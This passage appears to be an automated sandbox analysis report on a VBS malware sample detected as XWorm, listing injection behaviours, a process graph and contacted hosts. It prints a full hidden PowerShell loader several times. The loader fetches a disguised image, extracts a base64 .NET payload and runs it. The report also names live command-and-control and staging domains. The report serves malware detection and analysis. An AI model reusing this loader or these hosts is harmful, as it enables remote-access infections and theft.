Tre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Injects a PE file into a foreign processes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40E000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1046008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'C:\ProgramData\' , 'escudellar','RegAsm',''))} }" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\escudellar.vbs" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links | get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'c:\programdata\' , 'escudellar','regasm',''))} }"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links | get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'c:\programdata\' , 'escudellar','regasm',''))} }" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected XWorm
Source: Yara match File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2972228650.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 3896, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected XWorm
Source: Yara match File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2972228650.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 3896, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1436274 Sample: S847453-receipt.vbs Startdate: 04/05/2024 Architecture: WINDOWS Score: 100 44 xwormay8450.duckdns.org 2->44 46 paste.ee 2->46 48 3 other IPs or domains 2->48 56 Snort IDS alert for network traffic 2->56 58 Found malware configuration 2->58 60 Malicious sample detected (through community Yara rule) 2->60 66 13 other signatures 2->66 10 wscript.exe 14 2->10         started        14 wscript.exe 2->14         started        16 wscript.exe 2->16         started        18 wscript.exe 2->18         started        signatures3 62 Uses dynamic DNS services 44->62 64 Connects to a pastebin service (likely for C&C) 46->64 process4 dnsIp5 54 paste.ee 172.67.187.200, 443, 49731 CLOUDFLARENETUS United States 10->54 80 System process connects to network (likely due to code injection or exploit) 10->80 82 VBScript performs obfuscated calls to suspicious functions 10->82 84 Suspicious powershell command line found 10->84 86 6 other signatures 10->86 20 powershell.exe 7 10->20         started        signatures6 process7 signatures8 68 Suspicious powershell command line found 20->68 70 Suspicious execution chain found 20->70 72 Found suspicious powershell code related to unpacking or dynamic code loading 20->72 23 powershell.exe 15 17 20->23         started        27 conhost.exe 20->27         started        process9 dnsIp10 50 evolve27.com 131.153.147.50, 443, 49739 SS-ASHUS United States 23->50 52 uploaddeimagens.com.br 104.21.45.138, 443, 49737, 49738 CLOUDFLARENETUS United States 23->52 74 Creates autostart registry keys with suspicious values (likely registry only malware) 23->74 76 Writes to foreign memory regions 23->76 78 Injects a PE file into a foreign processes 23->78 29 cmd.exe 2 23->29         started        33 RegAsm.exe 6 23->33         started        signatures11 process12 dnsIp13 38 C:\ProgramData\escudellar.vbs, ASCII 29->38 dropped 88 Command shell drops VBS files 29->88 36 conhost.exe 29->36         started        42 xwormay8450.duckdns.org 12.221.146.138, 49741, 49742, 49744 ATT-INTERNET4US United States 33->42 40 C:\Users\user\AppData\Roaming\RegAsm.exe, PE32 33->40 dropped file14 signatures15 process16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.67.187.200
 paste.ee United States
13335 CLOUDFLARENETUS false
104.21.45.138
 uploaddeimagens.com.br United States
13335 CLOUDFLARENETUS true
12.221.146.138
 xwormay8450.duckdns.org United States
7018 ATT-INTERNET4US true
131.153.147.50
 evolve27.com United States
19437 SS-ASHUS true

Contacted Domains

Name IP Active
evolve27.com 131.153.147.50 true
xwormay8450.duckdns.org 12.221.146.138 true
paste.ee 172.67.187.200 true
uploaddeimagens.com.br 104.21.45.138 true
www.evolve27.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://paste.ee/d/Pz7Nj false
    		high
    https://www.evolve27.com/nm/xwomay.txt true
    • Avira URL Cloud: safe
    		 unknown
    xwormay8450.duckdns.org true
    • Avira URL Cloud: safe
    		 unknown
    https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029 true
    • Avira URL Cloud: safe
    		 unknown